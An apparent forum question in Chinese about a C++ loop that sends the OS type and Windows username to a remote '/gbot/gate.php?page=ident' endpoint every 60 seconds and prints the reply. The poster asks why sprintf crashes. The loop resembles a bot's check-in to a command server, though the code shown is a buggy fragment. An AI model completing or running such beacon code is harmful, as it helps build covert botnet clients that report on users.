while(true)
{
char *mybuf;
if(getenv("windir") != NULL)
{
//mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n";
sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n", getenv("username"));
}
else
mybuf = "GET /gbot/gate.php?page=ident&os=linux\r\n\r\n";
send(Socket, mybuf, strlen(mybuf), 0);
char buffer[10000];
recv(Socket, buffer, 10000,0);
cout << buffer;
_sleep(60000);
}
我有这段代码,sprintf 使程序崩溃。如何制作 mybuf,包含用户名 (getenv),而不会使我的项目崩溃?非常感谢。